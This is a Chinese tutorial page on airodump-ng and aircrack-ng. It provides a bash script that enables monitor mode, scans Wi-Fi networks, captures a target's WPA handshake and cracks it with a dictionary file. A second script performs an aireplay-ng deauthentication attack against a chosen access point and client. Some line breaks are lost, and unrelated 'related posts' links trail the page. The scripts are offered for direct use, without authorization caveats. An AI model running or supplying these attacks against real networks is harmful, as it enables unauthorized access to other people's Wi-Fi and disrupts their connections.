airodump-ng、aircrack-ng使用教程
目录
1. 集成启动网卡监听、开启网络扫描、抓取握手包的shell脚本。支持linux与Darwin
2. ack攻击
1. 集成启动网卡监听、开启网络扫描、抓取握手包的shell脚本。支持linux与Darwin
#!/bin/bash# 启动网卡监听模式,传入系统版本
startWlanMonitor(){if [ $1 = "Linux" ]thenif [ -z `iwconfig | awk '{if($1=="wlan0mon") print $1}'`]thenairmon-ng start wlan0fielseecho "start Darwin wlanMonitor "fi
}# 开启网络扫描,在合适的时候按'q'结束扫描,传入系统版本
startScanner(){ if [ $1 = "Linux" ]thenairodump-ng wlan0mon else/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -sfi
}# 选择一个wifi,输入BSSID,CHANNEL,开始抓包监控,传入系统版本
startAirodump(){if [ $1 = "Linux" ]thenread -p "input BSSID > " inputBssidread -p "input CHANNEL > " inputChannelairodump-ng -c $inputChannel --bssid $inputBssid -w ./handshake wlan0monelseread -p "input CHANNEL > " inputChannel/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport en0 sniff $inputChannelfi
}###############################################################
# 主函数方法
###############################################################echo "*************************************************************"
# 系统检查, 支持Linux和Darwin
system='Linux'
[ `uname` != $system ] && system='Darwin'
echo "system version:" $system
# 创建临时文件夹
[ ! -d "./tmp" ] && mkdir ./tmp
cd tmp
echo "*************************************************************"
# 选择开启监控或者只分析handshake文件,默认只分析handshake文件
read -p "only analyzing handshake file or airmon 1/2 > " inputChoose
if [ "$inputChoose" = "2" ]
thenecho "*************************************************************"# 启动网卡的监听模式,传入系统版本startWlanMonitor $systemecho "*************************************************************"# 开启网络扫描,在合适的时候按'q'结束扫描,传入系统版本startScanner $systemecho "*************************************************************"# 选择一个wifi,输入BSSID,CHANNEL,开始抓包监控startAirodump $system
fi
echo "*************************************************************"
# 开始密码破解
read -p "start analyzing handshake file, y/n > " inputAsk
if [ "$inputAsk" = "y" -o "$inputAsk" = "Y" -o -z "$inputAsk" ]
thencp /tmp/*.cap ./aircrack-ng -w ../数据字典.txt ./*.cap
fi
echo "*************************************************************"
echo "exec over !!!"
2. ack攻击
#!/bin/bash
# 执行ACK攻击
echo "*************************************************************"
echo "ack attack "
echo "aireplay-ng -0 10 -a BSSID -c STATION wlan0mon"
echo "*************************************************************"
read -p "input BSSID > " BSSID
read -p "input STATION > " STATION
aireplay-ng -0 10 -a $BSSID -c $STATION wlan0mon
airodump-ng、aircrack-ng使用教程相关推荐
- Andrew Ng 的 Deep Learning 教程翻译
Andrew Ng教授写的教程确实比较易懂,深入浅出,有理论有例子,个人感觉会比纯理论的书看上去更舒服. 索性转载来了我正在看的翻译教程,据说是一群中国人50天翻译出来的,而且放在了Stanford ...
- ng命令汇总:Angular CLI 使用教程指南参考
Angular CLI 使用教程指南参考 Angular CLI 现在虽然可以正常使用但仍然处于测试阶段. Angular CLI 依赖 Node 4 和 NPM 3 或更高版本. 安装 要安装Ang ...
- 深度学习大牛andrew.Ng DeepLearning
MachineLearning 关注 深度学习DL(教程) 转自:http://blog.sina.com.cn/s/blog_46d0a3930101h6nf.html非常激动地宣告,Stanfor ...
- ng test 运行报错SassError: Can‘t find stylesheet to import, 导致case 一个都没有执行
问题解决 在angular.json 中test target中也配置和build target 一样的stylePreprocessorOptions.includePaths , 问题解决. 在调 ...
- 前端框架 ng 环境配置
一.安装 nvm 版本管理工具 nvm 英文全称 node.js version management,是一个 nodejs 的版本管理工具.目的是解决 node.js 各种版本存在不兼容现象,并且可 ...
- 【5G NR】NG接口
目录 1. NG接口定义 2. 接口原则和功能 3. NG 接口用户面 4. NG 接口控制面 5. NG接口信令流程 1. NG接口定义 NG接口指无线接入网与5G核心网之间的接口.在5G SA网络 ...
- Angular CLI ng常用命令整理
Angular CLI 的ng命令常用整理 当前对应版本:angular-cli:1.0.0 node:8.9.3 os:win32 x64 1.创建项目 ng new 命令 描述 ng n ...
- ng4中npm start和ng serve--open
npm start 在命令行中输入npm start后,将会运行package.json文件中scripts里的start的内容: 如果start里写的是ng serve,那么将运行ng serve; ...
- Angular CLI 使用教程指南参考
Angular CLI 使用教程指南参考 Angular CLI 现在虽然可以正常使用但仍然处于测试阶段. Angular CLI 依赖 Node 4 和 NPM 3 或更高版本. 安装 要安装Ang ...
- python免费教学视频教程-Python免费教程_Python免费视频教程大全_易玩网
Python视频教程是一款为广大想要学习Python的小伙伴们量身打造的,让你能够快速的从零开始学起,不管你是菜鸟还是老手,在这里都能够学习到很多相关的知识,喜欢的千万不要错过了哦! [Python视 ...
最新文章
- 集合对象根据某个字段首字母排序
- Centos 7编译安装 LAMP 环境
- excel重复上一步快捷键_工作再忙也要学会的十个Excel快捷键
- java多线程之yield
- 【MySQL】MySQL 中的 dual表
- kubernetes视频教程笔记 (10)-资源清单yaml常用字段解释
- ubuntu下编译安装linux内核源码
- json数组转换成java对象_json中包含json数组怎么转换成java对象
- 红帽linux64系统下载,红帽Linux 8.0 iso-RHEL 8.0 64位下载|RHEL 8.0 64位 - 爱学府软件园...
- EDU教育网邮箱申请注册享受Apple、微软、Github等产品教育优惠附带各优惠申请教程
- 任务管理器已被系统管理员停用的解决方法
- Linux下获取Root权限的方法
- 【六足】关于六足机器人运动学正逆解
- AGA 2019电竞狂欢盛宴开启:为全国校园电竞玩家“圆梦”
- CSDN图片上传去除水印
- tp-link无线路由与android手机无线连接设置指南,苹果手机(iPhone)无线连接TP-LINK路由器解决方案...
- div+css静态网页设计——迪斯尼公主滚动特效(7页) HTML5网页设计成品_学生DW静态网页设计代做_web课程设计网页制作
- 浅析eBay联盟营销的上下文广告机制
- Notepad++ 删除关键词所在行
- Day-1 HTML基本标签和CSS常用样式
热门文章
- linux点阵字符显示字体颜色,点阵字体显示系列之一:ASCII码字库的显示
- 期刊卷号期号什么意思
- 一个有趣的智力题,可以看看
- Android 12系统源码_SystemUI(一)SystemUI的启动流程
- phpyun模板使用foreach循环
- sd卡休眠不掉电 linux cmd7,随时断电可安全使用SD卡
- oracle+锁+杀不死,oracle kill -9 会话
- 以太网实习_网络工程-实习报告及
- IEC61131, IEC61499图形可视化,PLC图形可视化,PLC组态,VBScript和JavaScript脚本,解决方案源代码, 开发平台100% VC++源码2018!
- 聊聊大多数学生毕业后面临的第一件事-租房